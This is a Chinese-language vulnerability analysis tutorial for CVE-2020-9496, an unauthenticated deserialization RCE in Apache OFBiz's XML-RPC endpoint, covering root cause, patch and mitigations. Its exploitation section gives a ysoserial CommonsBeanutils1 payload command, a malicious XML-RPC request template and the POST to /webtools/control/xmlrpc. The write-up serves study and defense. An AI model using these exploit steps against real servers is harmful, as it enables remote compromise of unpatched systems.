CVE-2020-9496 Apache Ofbiz XMLRPC RCE漏洞分析
字数 1859 2025-08-20 18:17:53
Apache Ofbiz XMLRPC RCE漏洞分析(CVE-2020-9496)教学文档
1. 漏洞概述
CVE-2020-9496是Apache Ofbiz框架中的一个远程代码执行漏洞,存在于XML-RPC接口中。该漏洞允许攻击者通过构造恶意的XML-RPC请求,触发Java反序列化漏洞,最终实现远程代码执行。
2. 漏洞背景
2.1 Apache Ofbiz简介
Apache Ofbiz是一个开源的企业资源规划(ERP)系统,提供了一套完整的业务应用程序套件。
2.2 XML-RPC简介
XML-RPC是一种远程过程调用协议,使用XML编码请求并通过HTTP传输。
3. 漏洞分析
3.1 漏洞位置
漏洞存在于/webtools/control/xmlrpc接口,该接口默认无需认证即可访问。
3.2 请求处理流程
- 请求首先由
ControlServlet处理 - 路由到
RequestHandler#doRequest() - 最终由
XmlRpcEventHandler处理XML-RPC请求
3.3 关键调用链
RequestHandler.runEvent()
→ XmlRpcEventHandler.invoke()
→ XmlRpcEventHandler.execute()
→ XmlRpcEventHandler.getRequest()
→ XML解析器处理XML数据
→ 触发反序列化
4. 漏洞原理
4.1 XML-RPC数据处理
Ofbiz使用xmlrpc-common-3.1.3.jar处理XML-RPC请求,其中SerializableParser类存在反序列化操作。
4.2 反序列化触发点
当XML数据中包含<serializable>标签时,会使用SerializableParser进行解析,其中的数据会被反序列化。
4.3 必要条件
- 必须使用
<serializable>标签 - 标签必须带有
xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions"属性 - 序列化数据必须经过Base64编码
5. 漏洞利用
5.1 利用条件
- 目标系统包含Commons-Beanutils库
- 可以访问
/webtools/control/xmlrpc接口
5.2 利用步骤
- 生成CommonsBeanutils1的payload:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "calc" | base64 | tr -d "\n"
- 构造恶意XML请求:
<?xml version="1.0"?>
<methodCall>
<methodName>ping</methodName>
<params>
<param>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">
[Base64编码的序列化数据]
</serializable>
</value>
</param>
</params>
</methodCall>
- 发送POST请求到目标:
POST /webtools/control/xmlrpc HTTP/1.1
Host: [target]
Content-Type: application/xml
Content-Length: [length]
[上述XML数据]
6. 漏洞修复
6.1 官方修复
补丁链接:https://github.com/apache/ofbiz-framework/commit/4bdfb54ffb6e05215dd826ca2902c3e31420287a
6.2 修复方式
在framework/webtools/webapp/webtools/WEB-INF/controller.xml中为xmlrpc请求添加了认证要求:
<request-map uri="xmlrpc" track-serverhit="false" track-visit="false">
<security https="false" auth="true"/>
<event type="xmlrpc"/>
<response name="error" type="none"/>
<response name="success" type="none"/>
</request-map>
6.3 临时缓解措施
- 禁用
/webtools/control/xmlrpc接口 - 升级Commons-Beanutils等存在漏洞的库
7. 调试分析
7.1 关键调试点
org.apache.ofbiz.webapp.event.XmlRpcEventHandler#getRequest()- XML解析入口org.apache.xmlrpc.parser.SerializableParser#getResult()- 反序列化触发点
7.2 调试技巧
- 在
SerializableParser.getResult()设置断点 - 观察XML解析过程中
typeParser的赋值过程
8. 相关技术点
8.1 XML-RPC数据类型
<base64>: Base64编码的二进制数据<struct>: 键值对结构<array>: 数组<serializable>: Java序列化对象
8.2 Ofbiz服务调用
Ofbiz有3000多个注册的service,其中export属性为true的service可通过XML-RPC调用。
9. 参考链接
- 漏洞公告:https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz
- 官方补丁:https://github.com/apache/ofbiz-framework/commit/4bdfb54ffb6e05215dd826ca2902c3e31420287a
- XML-RPC规范:http://xmlrpc.com/spec.md
- XML-RPC数据类型:https://ws.apache.org/xmlrpc/types.html